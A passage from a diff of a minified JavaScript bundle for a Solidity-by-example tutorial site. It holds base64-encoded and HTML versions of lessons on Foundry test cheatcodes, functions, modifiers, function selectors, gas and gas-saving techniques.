                              `,T0=({prev:s,next:a})=>r.jsx(A,{version:x0,title:J0,description:z0,cyfrinLink:D0,html:Q0,prev:s,next:a,codes:E0}),U0="0.8.26",L0="Foundry Send",_0="Foundry send",O0="",P0=[{fileName:"SendTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKLy8gRXhhbXBsZXMgb2YgZGVhbCBhbmQgaG9heAovLyBkZWFsKGFkZHJlc3MsIHVpbnQpIC0gU2V0IEVUSCBiYWxhbmNlIG9mIGFkZHJlc3MKLy8gZGVhbChhZGRyZXNzLCBhZGRyZXNzLCB1aW50MjU2KSAtIFNldHMgRVJDMjAgdG9rZW4gYmFsYW5jZSAod29ya3MgZm9yIG1vc3QgdG9rZW5zKQovLyBob2F4KGFkZHJlc3MsIHVpbnQpIC0gZGVhbCArIHByYW5rCgpjb250cmFjdCBFUkMyMCB7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwp9Cgpjb250cmFjdCBTZW5kVGVzdCBpcyBUZXN0IHsKICAgIEVSQzIwIHRva2VuID0gbmV3IEVSQzIwKCk7CgogICAgZnVuY3Rpb24gdGVzdFNlbmRFdGgoKSBwdWJsaWMgewogICAgICAgIC8vIFNldCBFVEggYmFsYW5jZQogICAgICAgIGRlYWwoYWRkcmVzcygxKSwgMTAwKTsKICAgICAgICBhc3NlcnRFcShhZGRyZXNzKDEpLmJhbGFuY2UsIDEwMCk7CgogICAgICAgIC8vIFNldCBFUkMyMCBiYWxhbmNlCiAgICAgICAgZGVhbChhZGRyZXNzKHRva2VuKSwgYWRkcmVzcygxKSwgMTApOwogICAgICAgIGFzc2VydEVxKHRva2VuLmJhbGFuY2VPZihhZGRyZXNzKDEpKSwgMTApOwogICAgfQp9Cg=="}],$0=`
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import "forge-std/Test.sol";
                              +
                              +// Examples of deal and hoax
                              +// deal(address, uint) - Set ETH balance of address
                              +// deal(address, address, uint256) - Sets ERC20 token balance (works for most tokens)
                              +// hoax(address, uint) - deal + prank
                              +
                              +contract ERC20 {
                              +    uint256 public totalSupply;
                              +    mapping(address => uint256) public balanceOf;
                              +}
                              +
                              +contract SendTest is Test {
                              +    ERC20 token = new ERC20();
                              +
                              +    function testSendEth() public {
                              +        // Set ETH balance
                              +        deal(address(1), 100);
                              +        assertEq(address(1).balance, 100);
                              +
                              +        // Set ERC20 balance
                              +        deal(address(token), address(1), 10);
                              +        assertEq(token.balanceOf(address(1)), 10);
                              +    }
                              +}
                              +
                              `,q0=({prev:s,next:a})=>r.jsx(A,{version:U0,title:L0,description:_0,cyfrinLink:O0,html:$0,prev:s,next:a,codes:P0}),sZ="0.8.26",aZ="Foundry Sign",nZ="Foundry sign",lZ="",pZ=[{fileName:"SignTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKY29udHJhY3QgU2lnblRlc3QgaXMgVGVzdCB7CiAgICAvLyBwcml2YXRlIGtleSA9IDEyMwogICAgLy8gcHVibGljIGtleSA9IHZtLmFkZHIocHJpdmF0ZSBrZXkpCiAgICAvLyBtZXNzYWdlID0gInNlY3JldCBtZXNzYWdlIgogICAgLy8gbWVzc2FnZSBoYXNoID0ga2VjY2FrMjU2KG1lc3NhZ2UpCiAgICAvLyB2bS5zaWduKHByaXZhdGUga2V5LCBtZXNzYWdlIGhhc2gpCiAgICBmdW5jdGlvbiB0ZXN0U2lnbmF0dXJlKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHByaXZhdGVLZXkgPSAxMjM7CiAgICAgICAgLy8gQ29tcHV0ZXMgdGhlIGFkZHJlc3MgZm9yIGEgZ2l2ZW4gcHJpdmF0ZSBrZXkuCiAgICAgICAgYWRkcmVzcyBhbGljZSA9IHZtLmFkZHIocHJpdmF0ZUtleSk7CgogICAgICAgIC8vIFRlc3QgdmFsaWQgc2lnbmF0dXJlCiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGtlY2NhazI1NigiU2lnbmVkIGJ5IEFsaWNlIik7CgogICAgICAgICh1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykgPSB2bS5zaWduKHByaXZhdGVLZXksIG1lc3NhZ2VIYXNoKTsKICAgICAgICBhZGRyZXNzIHNpZ25lciA9IGVjcmVjb3ZlcihtZXNzYWdlSGFzaCwgdiwgciwgcyk7CgogICAgICAgIGFzc2VydEVxKHNpZ25lciwgYWxpY2UpOwoKICAgICAgICAvLyBUZXN0IGludmFsaWQgbWVzc2FnZQogICAgICAgIGJ5dGVzMzIgaW52YWxpZEhhc2ggPSBrZWNjYWsyNTYoIk5vdCBzaWduZWQgYnkgQWxpY2UiKTsKICAgICAgICBzaWduZXIgPSBlY3JlY292ZXIoaW52YWxpZEhhc2gsIHYsIHIsIHMpOwoKICAgICAgICBhc3NlcnRUcnVlKHNpZ25lciAhPSBhbGljZSk7CiAgICB9Cn0K"}],eZ=`
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import "forge-std/Test.sol";
                              +
                              +contract SignTest is Test {
                              +    // private key = 123
                              +    // public key = vm.addr(private key)
                              +    // message = "secret message"
                              +    // message hash = keccak256(message)
                              +    // vm.sign(private key, message hash)
                              +    function testSignature() public {
                              +        uint256 privateKey = 123;
                              +        // Computes the address for a given private key.
                              +        address alice = vm.addr(privateKey);
                              +
                              +        // Test valid signature
                              +        bytes32 messageHash = keccak256("Signed by Alice");
                              +
                              +        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, messageHash);
                              +        address signer = ecrecover(messageHash, v, r, s);
                              +
                              +        assertEq(signer, alice);
                              +
                              +        // Test invalid message
                              +        bytes32 invalidHash = keccak256("Not signed by Alice");
                              +        signer = ecrecover(invalidHash, v, r, s);
                              +
                              +        assertTrue(signer != alice);
                              +    }
                              +}
                              +
                              `,cZ=({prev:s,next:a})=>r.jsx(A,{version:sZ,title:aZ,description:nZ,cyfrinLink:lZ,html:eZ,prev:s,next:a,codes:pZ}),tZ="0.8.26",oZ="Foundry Time",rZ="Foundry time",iZ="https://www.cyfrin.io/glossary/call-solidity-code-example",gZ=[{fileName:"TimeTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI2OwoKaW1wb3J0ICJmb3JnZS1zdGQvVGVzdC5zb2wiOwoKY29udHJhY3QgVGltZVRlc3QgaXMgVGVzdCB7CiAgICAvLyB2bS53YXJwIC0gc2V0IGJsb2NrLnRpbWVzdGFtcCB0byBmdXR1cmUgdGltZXN0YW1wCiAgICAvLyB2bS5yb2xsIC0gc2V0IGJsb2NrLm51bWJlcgogICAgLy8gc2tpcCAtIGluY3JlbWVudCBjdXJyZW50IHRpbWVzdGFtcAogICAgLy8gcmV3aW5kIC0gZGVjcmVtZW50IGN1cnJlbnQgdGltZXN0YW1wCgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgY29uc29sZS5sb2coInRpbWVzdGFtcCIsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICAgICAgY29uc29sZS5sb2coImJsb2NrIG51bWJlciIsIGJsb2NrLm51bWJlcik7CgogICAgICAgIGNvbnNvbGUubG9nKCJ3YXJwIik7CiAgICAgICAgdm0ud2FycChibG9jay50aW1lc3RhbXAgKyAxMCk7CiAgICAgICAgY29uc29sZS5sb2coInRpbWVzdGFtcCIsIGJsb2NrLnRpbWVzdGFtcCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJza2lwIik7CiAgICAgICAgc2tpcCgxMCk7CiAgICAgICAgY29uc29sZS5sb2coInRpbWVzdGFtcCIsIGJsb2NrLnRpbWVzdGFtcCk7CgogICAgICAgIGNvbnNvbGUubG9nKCJyb2xsIik7CiAgICAgICAgdm0ucm9sbCgxMCk7CiAgICAgICAgY29uc29sZS5sb2coImJsb2NrIG51bWJlciIsIGJsb2NrLm51bWJlcik7CgogICAgICAgIGNvbnNvbGUubG9nKCJyZXdpbmQiKTsKICAgICAgICByZXdpbmQoMTApOwogICAgICAgIGNvbnNvbGUubG9nKCJ0aW1lc3RhbXAiLCBibG9jay50aW1lc3RhbXApOwogICAgfQp9Cg=="}],hZ=`
                              // SPDX-License-Identifier: MIT
                              +pragma solidity 0.8.26;
                              +
                              +import "forge-std/Test.sol";
                              +
                              +contract TimeTest is Test {
                              +    // vm.warp - set block.timestamp to future timestamp
                              +    // vm.roll - set block.number
                              +    // skip - increment current timestamp
                              +    // rewind - decrement current timestamp
                              +
                              +    function test() public {
                              +        console.log("timestamp", block.timestamp);
                              +        console.log("block number", block.number);
                              +
                              +        console.log("warp");
                              +        vm.warp(block.timestamp + 10);
                              +        console.log("timestamp", block.timestamp);
                              +
                              +        console.log("skip");
                              +        skip(10);
                              +        console.log("timestamp", block.timestamp);
                              +
                              +        console.log("roll");
                              +        vm.roll(10);
                              +        console.log("block number", block.number);
                              +
                              +        console.log("rewind");
                              +        rewind(10);
                              +        console.log("timestamp", block.timestamp);
                              +    }
                              +}
                              +
                              `,IZ=({prev:s,next:a})=>r.jsx(A,{version:tZ,title:oZ,description:rZ,cyfrinLink:iZ,html:hZ,prev:s,next:a,codes:gZ}),dZ="0.8.26",CZ="Function",jZ="Example of how to write functions in Solidity",AZ="https://www.cyfrin.io/glossary/function-solidity-code-example",uZ=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2LCB1aW50MjU2LCB1aW50MjU2KQogICAgewogICAgICAgICh1aW50MjU2IGksIGJvb2wgYiwgdWludDI1NiBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludDI1NiB4LCwgdWludDI1NiB5KSA9ICg0LCA1LCA2KTsKCiAgICAgICAgcmV0dXJuIChpLCBiLCBqLCB4LCB5KTsKICAgIH0KCiAgICAvLyBDYW5ub3QgdXNlIG1hcCBmb3IgZWl0aGVyIGlucHV0IG9yIG91dHB1dAoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIGlucHV0CiAgICBmdW5jdGlvbiBhcnJheUlucHV0KHVpbnQyNTZbXSBtZW1vcnkgX2FycikgcHVibGljIHt9CgogICAgLy8gQ2FuIHVzZSBhcnJheSBmb3Igb3V0cHV0CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKCiAgICBmdW5jdGlvbiBhcnJheU91dHB1dCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYXJyOwogICAgfQp9CgovLyBDYWxsIGZ1bmN0aW9uIHdpdGgga2V5LXZhbHVlIGlucHV0cwpjb250cmFjdCBYWVogewogICAgZnVuY3Rpb24gc29tZUZ1bmNXaXRoTWFueUlucHV0cygKICAgICAgICB1aW50MjU2IHgsCiAgICAgICAgdWludDI1NiB5LAogICAgICAgIHVpbnQyNTYgeiwKICAgICAgICBhZGRyZXNzIGEsCiAgICAgICAgYm9vbCBiLAogICAgICAgIHN0cmluZyBtZW1vcnkgYwogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7fQoKICAgIGZ1bmN0aW9uIGNhbGxGdW5jKCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoMSwgMiwgMywgYWRkcmVzcygwKSwgdHJ1ZSwgImMiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRnVuY1dpdGhLZXlWYWx1ZSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKHsKICAgICAgICAgICAgYTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],yZ=`

                              There are several ways to return outputs from a function.

                              Public functions cannot accept certain data types as inputs or outputs

                              // SPDX-License-Identifier: MIT
                               pragma solidity ^0.8.26;
                              @@ -9063,7 +9435,7 @@ assertion probably means that there is a bug.
                                       });
                                   }
                               }
                              -
                              `,i0=({prev:s,next:a})=>r.jsx(A,{version:p0,title:e0,description:c0,cyfrinLink:t0,html:r0,prev:s,next:a,codes:o0}),g0="0.8.26",h0="Function Modifier",I0="Example of how to write function modifier in Solidity",d0="https://www.cyfrin.io/glossary/function-modifier-solidity-code-example",C0=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWV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pYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],j0=`

                              Modifiers are code that can be run before and / or after a function call.

                              +`,mZ=({prev:s,next:a})=>r.jsx(A,{version:dZ,title:CZ,description:jZ,cyfrinLink:AZ,html:yZ,prev:s,next:a,codes:uZ}),bZ="0.8.26",wZ="Function Modifier",kZ="Example of how to write function modifier in Solidity",ZZ="https://www.cyfrin.io/glossary/function-modifier-solidity-code-example",WZ=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvI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YW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],GZ=`

                              Modifiers are code that can be run before and / or after a function call.

                              Modifiers can be used to:

                              • Restrict access
                              • @@ -9129,7 +9501,7 @@ assertion probably means that there is a bug. } } } -`,A0=({prev:s,next:a})=>r.jsx(A,{version:g0,title:h0,description:I0,cyfrinLink:d0,html:j0,prev:s,next:a,codes:C0}),u0="0.8.26",y0="Function Selector",m0="Example of how function selectors are computed",b0="https://www.cyfrin.io/glossary/function-selector-solidity-code-example",w0=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],k0=`

                                When a function is called, the first 4 bytes of calldata specifies which function to call.

                                +`,BZ=({prev:s,next:a})=>r.jsx(A,{version:bZ,title:wZ,description:kZ,cyfrinLink:ZZ,html:GZ,prev:s,next:a,codes:WZ}),fZ="0.8.26",VZ="Function Selector",YZ="Example of how function selectors are computed",XZ="https://www.cyfrin.io/glossary/function-selector-solidity-code-example",RZ=[{fileName:"FunctionSelector.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZ1bmN0aW9uU2VsZWN0b3IgewogICAgLyoKICAgICJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIgogICAgMHhhOTA1OWNiYgogICAgInRyYW5zZmVyRnJvbShhZGRyZXNzLGFkZHJlc3MsdWludDI1NikiCiAgICAweDIzYjg3MmRkCiAgICAqLwogICAgZnVuY3Rpb24gZ2V0U2VsZWN0b3Ioc3RyaW5nIGNhbGxkYXRhIF9mdW5jKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzNCkKICAgIHsKICAgICAgICByZXR1cm4gYnl0ZXM0KGtlY2NhazI1NihieXRlcyhfZnVuYykpKTsKICAgIH0KfQo="}],vZ=`

                                When a function is called, the first 4 bytes of calldata specifies which function to call.

                                This 4 bytes is called a function selector.

                                Take for example, this code below. It uses call to execute transfer on a contract at the address addr.

                                addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))
                                @@ -9154,7 +9526,7 @@ assertion probably means that there is a bug.
                                         return bytes4(keccak256(bytes(_func)));
                                     }
                                 }
                                -
                                `,Z0=({prev:s,next:a})=>r.jsx(A,{version:u0,title:y0,description:m0,cyfrinLink:b0,html:k0,prev:s,next:a,codes:w0}),W0="0.8.26",B0="Gas",G0="Example of gas and gas limit in Solidity",f0="https://www.cyfrin.io/glossary/gas-and-gas-price-solidity-code-example",V0=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],Y0=`

                                How much ether do you need to pay for a transaction?

                                +`,NZ=({prev:s,next:a})=>r.jsx(A,{version:fZ,title:VZ,description:YZ,cyfrinLink:XZ,html:vZ,prev:s,next:a,codes:RZ}),HZ="0.8.26",KZ="Gas",FZ="Example of gas and gas limit in Solidity",MZ="https://www.cyfrin.io/glossary/gas-and-gas-price-solidity-code-example",SZ=[{fileName:"Gas.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEdhcyB7CiAgICB1aW50MjU2IHB1YmxpYyBpID0gMDsKCiAgICAvLyBVc2luZyB1cCBhbGwgb2YgdGhlIGdhcyB0aGF0IHlvdSBzZW5kIGNhdXNlcyB5b3VyIHRyYW5zYWN0aW9uIHRvIGZhaWwuCiAgICAvLyBTdGF0ZSBjaGFuZ2VzIGFyZSB1bmRvbmUuCiAgICAvLyBHYXMgc3BlbnQgYXJlIG5vdCByZWZ1bmRlZC4KICAgIGZ1bmN0aW9uIGZvcmV2ZXIoKSBwdWJsaWMgewogICAgICAgIC8vIEhlcmUgd2UgcnVuIGEgbG9vcCB1bnRpbCBhbGwgb2YgdGhlIGdhcyBhcmUgc3BlbnQKICAgICAgICAvLyBhbmQgdGhlIHRyYW5zYWN0aW9uIGZhaWxzCiAgICAgICAgd2hpbGUgKHRydWUpIHsKICAgICAgICAgICAgaSArPSAxOwogICAgICAgIH0KICAgIH0KfQo="}],xZ=`

                                How much ether do you need to pay for a transaction?

                                You pay gas spent * gas price amount of ether, where

                                • gas is a unit of computation
                                • @@ -9186,7 +9558,7 @@ assertion probably means that there is a bug. } } } -`,X0=({prev:s,next:a})=>r.jsx(A,{version:W0,title:B0,description:G0,cyfrinLink:f0,html:Y0,prev:s,next:a,codes:V0}),v0="0.8.26",R0="Gas Saving Techniques",N0="Some gas saving techniques",H0="https://www.cyfrin.io/glossary/gas-saving-techniques-solidity-code-example",F0=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29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W9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBudW1zW2ldOwogICAgICAgICAgICBpZiAobnVtICUgMiA9PSAwICYmIG51bSA8IDk5KSB7CiAgICAgICAgICAgICAgICBfdG90YWwgKz0gbnVtOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgICAgICArK2k7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHRvdGFsID0gX3RvdGFsOwogICAgfQp9Cg=="}],K0=`

                                  Some gas saving techniques.

                                  +`,JZ=({prev:s,next:a})=>r.jsx(A,{version:HZ,title:KZ,description:FZ,cyfrinLink:MZ,html:xZ,prev:s,next:a,codes:SZ}),zZ="0.8.26",DZ="Gas Saving Techniques",EZ="Some gas saving techniques",QZ="https://www.cyfrin.io/glossary/gas-saving-techniques-solidity-code-example",TZ=[{fileName:"GasGolf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIGdhcyBnb2xmCmNvbnRyYWN0IEdhc0dvbGYgewogICAgLy8gc3RhcnQgLSA1MDkwOCBnYXMKICAgIC8vIHVzZSBjYWxsZGF0YSAtIDQ5MTYzIGdhcwogICAgLy8gbG9hZCBzdGF0ZSB2YXJpYWJsZXMgdG8gbWVtb3J5IC0gNDg5NTIgZ2FzCiAgICAvLyBzaG9ydCBjaXJjdWl0IC0gNDg2MzQgZ2FzCiAgICAvLyBsb29wIGluY3JlbWVudHMgLSA0ODI0NCBnYXMKICAgIC8vIGNhY2hlIGFycmF5IGxlbmd0aCAtIDQ4MjA5IGdhcwogICAgLy8gbG9hZCBhcnJheSBlbGVtZW50cyB0byBtZW1vcnkgLSA0ODA0NyBnYXMKICAgIC8vIHVuY2hlY2sgaSBvdmVyZmxvdy91bmRlcmZsb3cgLSA0NzMwOSBnYXMKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbDsKCiAgICAvLyBzdGFydCAtIG5vdCBnYXMgb3B0aW1pemVkCiAgICAvLyBmdW5jdGlvbiBzdW1JZkV2ZW5BbmRMZXNzVGhhbjk5KHVpbnRbXSBtZW1vcnkgbnVtcykgZXh0ZXJuYWwgewogICAgLy8gICAgIGZvciAodWludCBpID0gMDsgaSA8IG51bXMubGVuZ3RoOyBpICs9IDEpIHsKICAgIC8vICAgICAgICAgYm9vbCBpc0V2ZW4gPSBudW1zW2ldICUgMiA9PSAwOwogICAgLy8gICAgICAgICBib29sIGlzTGVzc1RoYW45OSA9IG51bXNbaV0gPCA5OTsKICAgIC8vICAgICAgICAgaWYgKGlzRXZlbiAmJiBpc0xlc3NUaGFuOTkpIHsKICAgIC8vICAgICAgICAgICAgIHRvdGFsICs9IG51bXNbaV07CiAgICAvLyAgICAgICAgIH0KICAgIC8vICAgICB9CiAgICAvLyB9CgogICAgLy8gZ2FzIG9wdGltaXplZAogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDEwMF0KICAgIGZ1bmN0aW9uIHN1bUlmRXZlbkFuZExlc3NUaGFuOTkodWludDI1NltdIGNhbGxkYXRhIG51bXMpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IF90b3RhbCA9IHRvdGFsOwogICAgICAgIHVpbnQyNTYgbGVuID0gbnVtcy5sZW5ndGg7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGxlbjspIHsKICAgICAgICAgICAgdWludDI1NiBudW0gPSBu